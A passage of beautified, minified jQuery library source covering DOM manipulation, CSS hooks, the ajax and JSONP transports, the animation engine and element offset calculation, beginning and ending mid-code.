                            q = l === "table" && !p ? o.firstChild && o.firstChild.childNodes : m[1] === "<table>" && !p ? o.childNodes : [];
                        for (i = q.length - 1; i >= 0; --i) f.nodeName(q[i], "tbody") && !q[i].childNodes.length && q[i].parentNode.removeChild(q[i])
                    }!f.support.leadingWhitespace && Z.test(k) && o.insertBefore(b.createTextNode(Z.exec(k)[0]), o.firstChild), k = o.childNodes
                }
                var r;
                if (!f.support.appendChecked) if (k[0] && typeof(r = k.length) == "number") for (i = 0; i < r; i++) bm(k[i]);
                else bm(k);
                k.nodeType ? h.push(k) : h = f.merge(h, k)
            }
            if (d) {
                g = function(a) {
                    return !a.type || be.test(a.type)
                };
                for (j = 0; h[j]; j++) if (e && f.nodeName(h[j], "script") && (!h[j].type || h[j].type.toLowerCase() === "text/javascript")) e.push(h[j].parentNode ? h[j].parentNode.removeChild(h[j]) : h[j]);
                else {
                    if (h[j].nodeType === 1) {
                        var s = f.grep(h[j].getElementsByTagName("script"), g);
                        h.splice.apply(h, [j + 1, 0].concat(s))
                    }
                    d.appendChild(h[j])
                }
            }
            return h
        },
        cleanData: function(a) {
            var b, c, d = f.cache,
                e = f.expando,
                g = f.event.special,
                h = f.support.deleteExpando;
            for (var i = 0, j;
            (j = a[i]) != null; i++) {
                if (j.nodeName && f.noData[j.nodeName.toLowerCase()]) continue;
                c = j[f.expando];
                if (c) {
                    b = d[c] && d[c][e];
                    if (b && b.events) {
                        for (var k in b.events) g[k] ? f.event.remove(j, k) : f.removeEvent(j, k, b.handle);
                        b.handle && (b.handle.elem = null)
                    }
                    h ? delete j[f.expando] : j.removeAttribute && j.removeAttribute(f.expando), delete d[c]
                }
            }
        }
    });
    var bo = /alpha\([^)]*\)/i,
        bp = /opacity=([^)]*)/,
        bq = /-([a-z])/ig,
        br = /([A-Z]|^ms)/g,
        bs = /^-?\d+(?:px)?$/i,
        bt = /^-?\d/,
        bu = /^[+\-]=/,
        bv = /[^+\-\.\de]+/g,
        bw = {
            position: "absolute",
            visibility: "hidden",
            display: "block"
        },
        bx = ["Left", "Right"],
        by = ["Top", "Bottom"],
        bz, bA, bB, bC = function(a, b) {
            return b.toUpperCase()
        };
    f.fn.css = function(a, c) {
        if (arguments.length === 2 && c === b) return this;
        return f.access(this, a, c, !0, function(a, c, d) {
            return d !== b ? f.style(a, c, d) : f.css(a, c)
        })
    }, f.extend({
        cssHooks: {
            opacity: {
                get: function(a, b) {
                    if (b) {
                        var c = bz(a, "opacity", "opacity");
                        return c === "" ? "1" : c
                    }
                    return a.style.opacity
                }
            }
        },
        cssNumber: {
            zIndex: !0,
            fontWeight: !0,
            opacity: !0,
            zoom: !0,
            lineHeight: !0,
            widows: !0,
            orphans: !0
        },
        cssProps: {
            "float": f.support.cssFloat ? "cssFloat" : "styleFloat"
        },
        style: function(a, c, d, e) {
            if ( !! a && a.nodeType !== 3 && a.nodeType !== 8 && !! a.style) {
                var g, h, i = f.camelCase(c),
                    j = a.style,
                    k = f.cssHooks[i];
                c = f.cssProps[i] || i;
                if (d === b) {
                    if (k && "get" in k && (g = k.get(a, !1, e)) !== b) return g;
                    return j[c]
                }
                h = typeof d;
                if (h === "number" && isNaN(d) || d == null) return;
                h === "string" && bu.test(d) && (d = +d.replace(bv, "") + parseFloat(f.css(a, c))), h === "number" && !f.cssNumber[i] && (d += "px");
                if (!k || !("set" in k) || (d = k.set(a, d)) !== b) try {
                    j[c] = d
                } catch (l) {}
            }
        },
        css: function(a, c, d) {
            var e, g;
            c = f.camelCase(c), g = f.cssHooks[c], c = f.cssProps[c] || c, c === "cssFloat" && (c = "float");
            if (g && "get" in g && (e = g.get(a, !0, d)) !== b) return e;
            if (bz) return bz(a, c)
        },
        swap: function(a, b, c) {
            var d = {};
            for (var e in b) d[e] = a.style[e], a.style[e] = b[e];
            c.call(a);
            for (e in b) a.style[e] = d[e]
        },
        camelCase: function(a) {
            return a.replace(bq, bC)
        }
    }), f.curCSS = f.css, f.each(["height", "width"], function(a, b) {
        f.cssHooks[b] = {
            get: function(a, c, d) {
                var e;
                if (c) {
                    a.offsetWidth !== 0 ? e = bD(a, b, d) : f.swap(a, bw, function() {
                        e = bD(a, b, d)
                    });
                    if (e <= 0) {
                        e = bz(a, b, b), e === "0px" && bB && (e = bB(a, b, b));
                        if (e != null) return e === "" || e === "auto" ? "0px" : e
                    }
                    if (e < 0 || e == null) {
                        e = a.style[b];
                        return e === "" || e === "auto" ? "0px" : e
                    }
                    return typeof e == "string" ? e : e + "px"
                }
            },
            set: function(a, b) {
                if (!bs.test(b)) return b;
                b = parseFloat(b);
                if (b >= 0) return b + "px"
            }
        }
    }), f.support.opacity || (f.cssHooks.opacity = {
        get: function(a, b) {
            return bp.test((b && a.currentStyle ? a.currentStyle.filter : a.style.filter) || "") ? parseFloat(RegExp.$1) / 100 + "" : b ? "1" : ""
        },
        set: function(a, b) {
            var c = a.style,
                d = a.currentStyle;
            c.zoom = 1;
            var e = f.isNaN(b) ? "" : "alpha(opacity=" + b * 100 + ")",
                g = d && d.filter || c.filter || "";
            c.filter = bo.test(g) ? g.replace(bo, e) : g + " " + e
        }
    }), f(function() {
        f.support.reliableMarginRight || (f.cssHooks.marginRight = {
            get: function(a, b) {
                var c;
                f.swap(a, {
                    display: "inline-block"
                }, function() {
                    b ? c = bz(a, "margin-right", "marginRight") : c = a.style.marginRight
                });
                return c
            }
        })
    }), c.defaultView && c.defaultView.getComputedStyle && (bA = function(a, c) {
        var d, e, g;
        c = c.replace(br, "-$1").toLowerCase();
        if (!(e = a.ownerDocument.defaultView)) return b;
        if (g = e.getComputedStyle(a, null)) d = g.getPropertyValue(c), d === "" && !f.contains(a.ownerDocument.documentElement, a) && (d = f.style(a, c));
        return d
    }), c.documentElement.currentStyle && (bB = function(a, b) {
        var c, d = a.currentStyle && a.currentStyle[b],
            e = a.runtimeStyle && a.runtimeStyle[b],
            f = a.style;
        !bs.test(d) && bt.test(d) && (c = f.left, e && (a.runtimeStyle.left = a.currentStyle.left), f.left = b === "fontSize" ? "1em" : d || 0, d = f.pixelLeft + "px", f.left = c, e && (a.runtimeStyle.left = e));
        return d === "" ? "auto" : d
    }), bz = bA || bB, f.expr && f.expr.filters && (f.expr.filters.hidden = function(a) {
        var b = a.offsetWidth,
            c = a.offsetHeight;
        return b === 0 && c === 0 || !f.support.reliableHiddenOffsets && (a.style.display || f.css(a, "display")) === "none"
    }, f.expr.filters.visible = function(a) {
        return !f.expr.filters.hidden(a)
    });
    var bE = /%20/g,
        bF = /\[\]$/,
        bG = /\r?\n/g,
        bH = /#.*$/,
        bI = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
        bJ = /^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
        bK = /^(?:about|app|app\-storage|.+\-extension|file|widget):$/,
        bL = /^(?:GET|HEAD)$/,
        bM = /^\/\//,
        bN = /\?/,
        bO = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
        bP = /^(?:select|textarea)/i,
        bQ = /\s+/,
        bR = /([?&])_=[^&]*/,
        bS = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,
        bT = f.fn.load,
        bU = {},
        bV = {},
        bW, bX;
    try {
        bW = e.href
    } catch (bY) {
        bW = c.createElement("a"), bW.href = "", bW = bW.href
    }
    bX = bS.exec(bW.toLowerCase()) || [], f.fn.extend({
        load: function(a, c, d) {
            if (typeof a != "string" && bT) return bT.apply(this, arguments);
            if (!this.length) return this;
            var e = a.indexOf(" ");
            if (e >= 0) {
                var g = a.slice(e, a.length);
                a = a.slice(0, e)
            }
            var h = "GET";
            c && (f.isFunction(c) ? (d = c, c = b) : typeof c == "object" && (c = f.param(c, f.ajaxSettings.traditional), h = "POST"));
            var i = this;
            f.ajax({
                url: a,
                type: h,
                dataType: "html",
                data: c,
                complete: function(a, b, c) {
                    c = a.responseText, a.isResolved() && (a.done(function(a) {
                        c = a
                    }), i.html(g ? f("<div>").append(c.replace(bO, "")).find(g) : c)), d && i.each(d, [c, b, a])
                }
            });
            return this
        },
        serialize: function() {
            return f.param(this.serializeArray())
        },
        serializeArray: function() {
            return this.map(function() {
                return this.elements ? f.makeArray(this.elements) : this
            }).filter(function() {
                return this.name && !this.disabled && (this.checked || bP.test(this.nodeName) || bJ.test(this.type))
            }).map(function(a, b) {
                var c = f(this).val();
                return c == null ? null : f.isArray(c) ? f.map(c, function(a, c) {
                    return {
                        name: b.name,
                        value: a.replace(bG, "\r\n")
                    }
                }) : {
                    name: b.name,
                    value: c.replace(bG, "\r\n")
                }
            }).get()
        }
    }), f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), function(a, b) {
        f.fn[b] = function(a) {
            return this.bind(b, a)
        }
    }), f.each(["get", "post"], function(a, c) {
        f[c] = function(a, d, e, g) {
            f.isFunction(d) && (g = g || e, e = d, d = b);
            return f.ajax({
                type: c,
                url: a,
                data: d,
                success: e,
                dataType: g
            })
        }
    }), f.extend({
        getScript: function(a, c) {
            return f.get(a, b, c, "script")
        },
        getJSON: function(a, b, c) {
            return f.get(a, b, c, "json")
        },
        ajaxSetup: function(a, b) {
            b ? f.extend(!0, a, f.ajaxSettings, b) : (b = a, a = f.extend(!0, f.ajaxSettings, b));
            for (var c in {
                context: 1,
                url: 1
            }) c in b ? a[c] = b[c] : c in f.ajaxSettings && (a[c] = f.ajaxSettings[c]);
            return a
        },
        ajaxSettings: {
            url: bW,
            isLocal: bK.test(bX[1]),
            global: !0,
            type: "GET",
            contentType: "application/x-www-form-urlencoded",
            processData: !0,
            async: !0,
            accepts: {
                xml: "application/xml, text/xml",
                html: "text/html",
                text: "text/plain",
                json: "application/json, text/javascript",
                "*": "*/*"
            },
            contents: {
                xml: /xml/,
                html: /html/,
                json: /json/
            },
            responseFields: {
                xml: "responseXML",
                text: "responseText"
            },
            converters: {
                "* text": a.String,
                "text html": !0,
                "text json": f.parseJSON,
                "text xml": f.parseXML
            }
        },
        ajaxPrefilter: bZ(bU),
        ajaxTransport: bZ(bV),
        ajax: function(a, c) {
            function w(a, c, l, m) {
                if (s !== 2) {
                    s = 2, q && clearTimeout(q), p = b, n = m || "", v.readyState = a ? 4 : 0;
                    var o, r, u, w = l ? ca(d, v, l) : b,
                        x, y;
                    if (a >= 200 && a < 300 || a === 304) {
                        if (d.ifModified) {
                            if (x = v.getResponseHeader("Last-Modified")) f.lastModified[k] = x;
                            if (y = v.getResponseHeader("Etag")) f.etag[k] = y
                        }
                        if (a === 304) c = "notmodified", o = !0;
                        else try {
                            r = cb(d, w), c = "success", o = !0
                        } catch (z) {
                            c = "parsererror", u = z
                        }
                    } else {
                        u = c;
                        if (!c || a) c = "error", a < 0 && (a = 0)
                    }
                    v.status = a, v.statusText = c, o ? h.resolveWith(e, [r, c, v]) : h.rejectWith(e, [v, c, u]), v.statusCode(j), j = b, t && g.trigger("ajax" + (o ? "Success" : "Error"), [v, d, o ? r : u]), i.resolveWith(e, [v, c]), t && (g.trigger("ajaxComplete", [v, d]), --f.active || f.event.trigger("ajaxStop"))
                }
            }
            typeof a == "object" && (c = a, a = b), c = c || {};
            var d = f.ajaxSetup({}, c),
                e = d.context || d,
                g = e !== d && (e.nodeType || e instanceof f) ? f(e) : f.event,
                h = f.Deferred(),
                i = f._Deferred(),
                j = d.statusCode || {},
                k, l = {},
                m = {},
                n, o, p, q, r, s = 0,
                t, u, v = {
                    readyState: 0,
                    setRequestHeader: function(a, b) {
                        if (!s) {
                            var c = a.toLowerCase();
                            a = m[c] = m[c] || a, l[a] = b
                        }
                        return this
                    },
                    getAllResponseHeaders: function() {
                        return s === 2 ? n : null
                    },
                    getResponseHeader: function(a) {
                        var c;
                        if (s === 2) {
                            if (!o) {
                                o = {};
                                while (c = bI.exec(n)) o[c[1].toLowerCase()] = c[2]
                            }
                            c = o[a.toLowerCase()]
                        }
                        return c === b ? null : c
                    },
                    overrideMimeType: function(a) {
                        s || (d.mimeType = a);
                        return this
                    },
                    abort: function(a) {
                        a = a || "abort", p && p.abort(a), w(0, a);
                        return this
                    }
                };
            h.promise(v), v.success = v.done, v.error = v.fail, v.complete = i.done, v.statusCode = function(a) {
                if (a) {
                    var b;
                    if (s < 2) for (b in a) j[b] = [j[b], a[b]];
                    else b = a[v.status], v.then(b, b)
                }
                return this
            }, d.url = ((a || d.url) + "").replace(bH, "").replace(bM, bX[1] + "//"), d.dataTypes = f.trim(d.dataType || "*").toLowerCase().split(bQ), d.crossDomain == null && (r = bS.exec(d.url.toLowerCase()), d.crossDomain = !(!r || r[1] == bX[1] && r[2] == bX[2] && (r[3] || (r[1] === "http:" ? 80 : 443)) == (bX[3] || (bX[1] === "http:" ? 80 : 443)))), d.data && d.processData && typeof d.data != "string" && (d.data = f.param(d.data, d.traditional)), b$(bU, d, c, v);
            if (s === 2) return !1;
            t = d.global, d.type = d.type.toUpperCase(), d.hasContent = !bL.test(d.type), t && f.active++ === 0 && f.event.trigger("ajaxStart");
            if (!d.hasContent) {
                d.data && (d.url += (bN.test(d.url) ? "&" : "?") + d.data), k = d.url;
                if (d.cache === !1) {
                    var x = f.now(),
                        y = d.url.replace(bR, "$1_=" + x);
                    d.url = y + (y === d.url ? (bN.test(d.url) ? "&" : "?") + "_=" + x : "")
                }
            }(d.data && d.hasContent && d.contentType !== !1 || c.contentType) && v.setRequestHeader("Content-Type", d.contentType), d.ifModified && (k = k || d.url, f.lastModified[k] && v.setRequestHeader("If-Modified-Since", f.lastModified[k]), f.etag[k] && v.setRequestHeader("If-None-Match", f.etag[k])), v.setRequestHeader("Accept", d.dataTypes[0] && d.accepts[d.dataTypes[0]] ? d.accepts[d.dataTypes[0]] + (d.dataTypes[0] !== "*" ? ", */*; q=0.01" : "") : d.accepts["*"]);
            for (u in d.headers) v.setRequestHeader(u, d.headers[u]);
            if (d.beforeSend && (d.beforeSend.call(e, v, d) === !1 || s === 2)) {
                v.abort();
                return !1
            }
            for (u in {
                success: 1,
                error: 1,
                complete: 1
            }) v[u](d[u]);
            p = b$(bV, d, c, v);
            if (!p) w(-1, "No Transport");
            else {
                v.readyState = 1, t && g.trigger("ajaxSend", [v, d]), d.async && d.timeout > 0 && (q = setTimeout(function() {
                    v.abort("timeout")
                }, d.timeout));
                try {
                    s = 1, p.send(l, w)
                } catch (z) {
                    status < 2 ? w(-1, z) : f.error(z)
                }
            }
            return v
        },
        param: function(a, c) {
            var d = [],
                e = function(a, b) {
                    b = f.isFunction(b) ? b() : b, d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(b)
                };
            c === b && (c = f.ajaxSettings.traditional);
            if (f.isArray(a) || a.jquery && !f.isPlainObject(a)) f.each(a, function() {
                e(this.name, this.value)
            });
            else for (var g in a) b_(g, a[g], c, e);
            return d.join("&").replace(bE, "+")
        }
    }), f.extend({
        active: 0,
        lastModified: {},
        etag: {}
    });
    var cc = f.now(),
        cd = /(\=)\?(&|$)|\?\?/i;
    f.ajaxSetup({
        jsonp: "callback",
        jsonpCallback: function() {
            return f.expando + "_" + cc++
        }
    }), f.ajaxPrefilter("json jsonp", function(b, c, d) {
        var e = b.contentType === "application/x-www-form-urlencoded" && typeof b.data == "string";
        if (b.dataTypes[0] === "jsonp" || b.jsonp !== !1 && (cd.test(b.url) || e && cd.test(b.data))) {
            var g, h = b.jsonpCallback = f.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback,
                i = a[h],
                j = b.url,
                k = b.data,
                l = "$1" + h + "$2";
            b.jsonp !== !1 && (j = j.replace(cd, l), b.url === j && (e && (k = k.replace(cd, l)), b.data === k && (j += (/\?/.test(j) ? "&" : "?") + b.jsonp + "=" + h))), b.url = j, b.data = k, a[h] = function(a) {
                g = [a]
            }, d.always(function() {
                a[h] = i, g && f.isFunction(i) && a[h](g[0])
            }), b.converters["script json"] = function() {
                g || f.error(h + " was not called");
                return g[0]
            }, b.dataTypes[0] = "json";
            return "script"
        }
    }), f.ajaxSetup({
        accepts: {
            script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
        },
        contents: {
            script: /javascript|ecmascript/
        },
        converters: {
            "text script": function(a) {
                f.globalEval(a);
                return a
            }
        }
    }), f.ajaxPrefilter("script", function(a) {
        a.cache === b && (a.cache = !1), a.crossDomain && (a.type = "GET", a.global = !1)
    }), f.ajaxTransport("script", function(a) {
        if (a.crossDomain) {
            var d, e = c.head || c.getElementsByTagName("head")[0] || c.documentElement;
            return {
                send: function(f, g) {
                    d = c.createElement("script"), d.async = "async", a.scriptCharset && (d.charset = a.scriptCharset), d.src = a.url, d.onload = d.onreadystatechange = function(a, c) {
                        if (c || !d.readyState || /loaded|complete/.test(d.readyState)) d.onload = d.onreadystatechange = null, e && d.parentNode && e.removeChild(d), d = b, c || g(200, "success")
                    }, e.insertBefore(d, e.firstChild)
                },
                abort: function() {
                    d && d.onload(0, 1)
                }
            }
        }
    });
    var ce = a.ActiveXObject ?
    function() {
        for (var a in cg) cg[a](0, 1)
    } : !1, cf = 0, cg;
    f.ajaxSettings.xhr = a.ActiveXObject ?
    function() {
        return !this.isLocal && ch() || ci()
    } : ch, function(a) {
        f.extend(f.support, {
            ajax: !! a,
            cors: !! a && "withCredentials" in a
        })
    }(f.ajaxSettings.xhr()), f.support.ajax && f.ajaxTransport(function(c) {
        if (!c.crossDomain || f.support.cors) {
            var d;
            return {
                send: function(e, g) {
                    var h = c.xhr(),
                        i, j;
                    c.username ? h.open(c.type, c.url, c.async, c.username, c.password) : h.open(c.type, c.url, c.async);
                    if (c.xhrFields) for (j in c.xhrFields) h[j] = c.xhrFields[j];
                    c.mimeType && h.overrideMimeType && h.overrideMimeType(c.mimeType), !c.crossDomain && !e["X-Requested-With"] && (e["X-Requested-With"] = "XMLHttpRequest");
                    try {
                        for (j in e) h.setRequestHeader(j, e[j])
                    } catch (k) {}
                    h.send(c.hasContent && c.data || null), d = function(a, e) {
                        var j, k, l, m, n;
                        try {
                            if (d && (e || h.readyState === 4)) {
                                d = b, i && (h.onreadystatechange = f.noop, ce && delete cg[i]);
                                if (e) h.readyState !== 4 && h.abort();
                                else {
                                    j = h.status, l = h.getAllResponseHeaders(), m = {}, n = h.responseXML, n && n.documentElement && (m.xml = n), m.text = h.responseText;
                                    try {
                                        k = h.statusText
                                    } catch (o) {
                                        k = ""
                                    }!j && c.isLocal && !c.crossDomain ? j = m.text ? 200 : 404 : j === 1223 && (j = 204)
                                }
                            }
                        } catch (p) {
                            e || g(-1, p)
                        }
                        m && g(j, k, m, l)
                    }, !c.async || h.readyState === 4 ? d() : (i = ++cf, ce && (cg || (cg = {}, f(a).unload(ce)), cg[i] = d), h.onreadystatechange = d)
                },
                abort: function() {
                    d && d(0, 1)
                }
            }
        }
    });
    var cj = {},
        ck, cl, cm = /^(?:toggle|show|hide)$/,
        cn = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,
        co, cp = [
            ["height", "marginTop", "marginBottom", "paddingTop", "paddingBottom"],
            ["width", "marginLeft", "marginRight", "paddingLeft", "paddingRight"],
            ["opacity"]
        ],
        cq, cr = a.webkitRequestAnimationFrame || a.mozRequestAnimationFrame || a.oRequestAnimationFrame;
    f.fn.extend({
        show: function(a, b, c) {
            var d, e;
            if (a || a === 0) return this.animate(cu("show", 3), a, b, c);
            for (var g = 0, h = this.length; g < h; g++) d = this[g], d.style && (e = d.style.display, !f._data(d, "olddisplay") && e === "none" && (e = d.style.display = ""), e === "" && f.css(d, "display") === "none" && f._data(d, "olddisplay", cv(d.nodeName)));
            for (g = 0; g < h; g++) {
                d = this[g];
                if (d.style) {
                    e = d.style.display;
                    if (e === "" || e === "none") d.style.display = f._data(d, "olddisplay") || ""
                }
            }
            return this
        },
        hide: function(a, b, c) {
            if (a || a === 0) return this.animate(cu("hide", 3), a, b, c);
            for (var d = 0, e = this.length; d < e; d++) if (this[d].style) {
                var g = f.css(this[d], "display");
                g !== "none" && !f._data(this[d], "olddisplay") && f._data(this[d], "olddisplay", g)
            }
            for (d = 0; d < e; d++) this[d].style && (this[d].style.display = "none");
            return this
        },
        _toggle: f.fn.toggle,
        toggle: function(a, b, c) {
            var d = typeof a == "boolean";
            f.isFunction(a) && f.isFunction(b) ? this._toggle.apply(this, arguments) : a == null || d ? this.each(function() {
                var b = d ? a : f(this).is(":hidden");
                f(this)[b ? "show" : "hide"]()
            }) : this.animate(cu("toggle", 3), a, b, c);
            return this
        },
        fadeTo: function(a, b, c, d) {
            return this.filter(":hidden").css("opacity", 0).show().end().animate({
                opacity: b
            }, a, c, d)
        },
        animate: function(a, b, c, d) {
            var e = f.speed(b, c, d);
            if (f.isEmptyObject(a)) return this.each(e.complete, [!1]);
            a = f.extend({}, a);
            return this[e.queue === !1 ? "each" : "queue"](function() {
                e.queue === !1 && f._mark(this);
                var b = f.extend({}, e),
                    c = this.nodeType === 1,
                    d = c && f(this).is(":hidden"),
                    g, h, i, j, k, l, m, n, o;
                b.animatedProperties = {};
                for (i in a) {
                    g = f.camelCase(i), i !== g && (a[g] = a[i], delete a[i]), h = a[g], f.isArray(h) ? (b.animatedProperties[g] = h[1], h = a[g] = h[0]) : b.animatedProperties[g] = b.specialEasing && b.specialEasing[g] || b.easing || "swing";
                    if (h === "hide" && d || h === "show" && !d) return b.complete.call(this);
                    c && (g === "height" || g === "width") && (b.overflow = [this.style.overflow, this.style.overflowX, this.style.overflowY], f.css(this, "display") === "inline" && f.css(this, "float") === "none" && (f.support.inlineBlockNeedsLayout ? (j = cv(this.nodeName), j === "inline" ? this.style.display = "inline-block" : (this.style.display = "inline", this.style.zoom = 1)) : this.style.display = "inline-block"))
                }
                b.overflow != null && (this.style.overflow = "hidden");
                for (i in a) k = new f.fx(this, b, i), h = a[i], cm.test(h) ? k[h === "toggle" ? d ? "show" : "hide" : h]() : (l = cn.exec(h), m = k.cur(), l ? (n = parseFloat(l[2]), o = l[3] || (f.cssNumber[i] ? "" : "px"), o !== "px" && (f.style(this, i, (n || 1) + o), m = (n || 1) / k.cur() * m, f.style(this, i, m + o)), l[1] && (n = (l[1] === "-=" ? -1 : 1) * n + m), k.custom(m, n, o)) : k.custom(m, h, ""));
                return !0
            })
        },
        stop: function(a, b) {
            a && this.queue([]), this.each(function() {
                var a = f.timers,
                    c = a.length;
                b || f._unmark(!0, this);
                while (c--) a[c].elem === this && (b && a[c](!0), a.splice(c, 1))
            }), b || this.dequeue();
            return this
        }
    }), f.each({
        slideDown: cu("show", 1),
        slideUp: cu("hide", 1),
        slideToggle: cu("toggle", 1),
        fadeIn: {
            opacity: "show"
        },
        fadeOut: {
            opacity: "hide"
        },
        fadeToggle: {
            opacity: "toggle"
        }
    }, function(a, b) {
        f.fn[a] = function(a, c, d) {
            return this.animate(b, a, c, d)
        }
    }), f.extend({
        speed: function(a, b, c) {
            var d = a && typeof a == "object" ? f.extend({}, a) : {
                complete: c || !c && b || f.isFunction(a) && a,
                duration: a,
                easing: c && b || b && !f.isFunction(b) && b
            };
            d.duration = f.fx.off ? 0 : typeof d.duration == "number" ? d.duration : d.duration in f.fx.speeds ? f.fx.speeds[d.duration] : f.fx.speeds._default, d.old = d.complete, d.complete = function(a) {
                d.queue !== !1 ? f.dequeue(this) : a !== !1 && f._unmark(this), f.isFunction(d.old) && d.old.call(this)
            };
            return d
        },
        easing: {
            linear: function(a, b, c, d) {
                return c + d * a
            },
            swing: function(a, b, c, d) {
                return (-Math.cos(a * Math.PI) / 2 + .5) * d + c
            }
        },
        timers: [],
        fx: function(a, b, c) {
            this.options = b, this.elem = a, this.prop = c, b.orig = b.orig || {}
        }
    }), f.fx.prototype = {
        update: function() {
            this.options.step && this.options.step.call(this.elem, this.now, this), (f.fx.step[this.prop] || f.fx.step._default)(this)
        },
        cur: function() {
            if (this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null)) return this.elem[this.prop];
            var a, b = f.css(this.elem, this.prop);
            return isNaN(a = parseFloat(b)) ? !b || b === "auto" ? 0 : b : a
        },
        custom: function(a, b, c) {
            function h(a) {
                return d.step(a)
            }
            var d = this,
                e = f.fx,
                g;
            this.startTime = cq || cs(), this.start = a, this.end = b, this.unit = c || this.unit || (f.cssNumber[this.prop] ? "" : "px"), this.now = this.start, this.pos = this.state = 0, h.elem = this.elem, h() && f.timers.push(h) && !co && (cr ? (co = 1, g = function() {
                co && (cr(g), e.tick())
            }, cr(g)) : co = setInterval(e.tick, e.interval))
        },
        show: function() {
            this.options.orig[this.prop] = f.style(this.elem, this.prop), this.options.show = !0, this.custom(this.prop === "width" || this.prop === "height" ? 1 : 0, this.cur()), f(this.elem).show()
        },
        hide: function() {
            this.options.orig[this.prop] = f.style(this.elem, this.prop), this.options.hide = !0, this.custom(this.cur(), 0)
        },
        step: function(a) {
            var b = cq || cs(),
                c = !0,
                d = this.elem,
                e = this.options,
                g, h;
            if (a || b >= e.duration + this.startTime) {
                this.now = this.end, this.pos = this.state = 1, this.update(), e.animatedProperties[this.prop] = !0;
                for (g in e.animatedProperties) e.animatedProperties[g] !== !0 && (c = !1);
                if (c) {
                    e.overflow != null && !f.support.shrinkWrapBlocks && f.each(["", "X", "Y"], function(a, b) {
                        d.style["overflow" + b] = e.overflow[a]
                    }), e.hide && f(d).hide();
                    if (e.hide || e.show) for (var i in e.animatedProperties) f.style(d, i, e.orig[i]);
                    e.complete.call(d)
                }
                return !1
            }
            e.duration == Infinity ? this.now = b : (h = b - this.startTime, this.state = h / e.duration, this.pos = f.easing[e.animatedProperties[this.prop]](this.state, h, 0, 1, e.duration), this.now = this.start + (this.end - this.start) * this.pos), this.update();
            return !0
        }
    }, f.extend(f.fx, {
        tick: function() {
            for (var a = f.timers, b = 0; b < a.length; ++b) a[b]() || a.splice(b--, 1);
            a.length || f.fx.stop()
        },
        interval: 13,
        stop: function() {
            clearInterval(co), co = null
        },
        speeds: {
            slow: 600,
            fast: 200,
            _default: 400
        },
        step: {
            opacity: function(a) {
                f.style(a.elem, "opacity", a.now)
            },
            _default: function(a) {
                a.elem.style && a.elem.style[a.prop] != null ? a.elem.style[a.prop] = (a.prop === "width" || a.prop === "height" ? Math.max(0, a.now) : a.now) + a.unit : a.elem[a.prop] = a.now
            }
        }
    }), f.expr && f.expr.filters && (f.expr.filters.animated = function(a) {
        return f.grep(f.timers, function(b) {
            return a === b.elem
        }).length
    });
    var cw = /^t(?:able|d|h)$/i,
        cx = /^(?:body|html)$/i;
    "getBoundingClientRect" in c.documentElement ? f.fn.offset = function(a) {
        var b = this[0],
            c;
        if (a) return this.each(function(b) {
            f.offset.setOffset(this, a, b)
        });
        if (!b || !b.ownerDocument) return null;
        if (b === b.ownerDocument.body) return f.offset.bodyOffset(b);
        try {
            c = b.getBoundingClientRect()
        } catch (d) {}
        var e = b.ownerDocument,
            g = e.documentElement;
        if (!c || !f.contains(g, b)) return c ? {
            top: c.top,
            left: c.left
        } : {
            top: 0,
            left: 0
        };
        var h = e.body,
            i = cy(e),
            j = g.clientTop || h.clientTop || 0,
            k = g.clientLeft || h.clientLeft || 0,
            l = i.pageYOffset || f.support.boxModel && g.scrollTop || h.scrollTop,
            m = i.pageXOffset || f.support.boxModel && g.scrollLeft || h.scrollLeft,
            n = c.top + l - j,
            o = c.left + m - k;
        return {
            top: n,
            left: o
        }
    } : f.fn.offset = function(a) {
        var b = this[0];
        if (a) return this.each(function(b) {
            f.offset.setOffset(this, a, b)
        });
        if (!b || !b.ownerDocument) return null;
        if (b === b.ownerDocument.body) return f.offset.bodyOffset(b);
        f.offset.initialize();
        var c, d = b.offsetParent,
            e = b,
            g = b.ownerDocument,
            h = g.documentElement,
            i = g.body,
            j = g.defaultView,
            k = j ? j.getComputedStyle(b, null) : b.currentStyle,
            l = b.offsetTop,
            m = b.offsetLeft;
        while ((b = b.parentNode) && b !== i && b !== h) {
            if (f.offset.supportsFixedPosition && k.position === "fixed") break;
            c = j ? j.getComputedStyle(b, null) : b.currentStyle, l -= b.scrollTop, m -= b.scrollLeft, b === d && (l += b.offsetTop, m += b.offsetLeft, f.offset.doesNotAddBorder && (!f.offset.doesAddBorderForTableAndCells || !cw.test(b.nodeName)) && (l += parseFloat(c.borderTopWidth) || 0, m += parseFloat(c.borderLeftWidth) || 0), e = d, d = b.offsetParent), f.offset.subtractsBorderForOverflowNotVisible && c.overflow !== "visible" && (l += parseFloat(c.borderTopWidth) || 0, m += parseFloat(c.borderLeftWidth) || 0), k = c
        }
        if (k.position === "relative" || k.position === "static") l += i.offsetTop, m += i.offsetLeft;
        f.offset.supportsFixedPosition && k.position === "fixed" && (l += Math.max(h.scrollTop, i.scrollTop), m += Math.max(h.scrollLeft, i.scrollLeft));
        return {
            top: l,
            left: m
        }
    }, f.offset = {
        initialize: function() {
            var a = c.body,
                b = c.createElement("div"),
                d, e, g, h, i = parseFloat(f.css(a, "marginTop")) || 0,
                j = "<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
            f.extend(b.style, {
                position: "absolute",
                top: 0,
                left: 0,
                margin: 0,
                border: 0,
                width: "1px",
                height: "1px",
                visibility: "hidden"
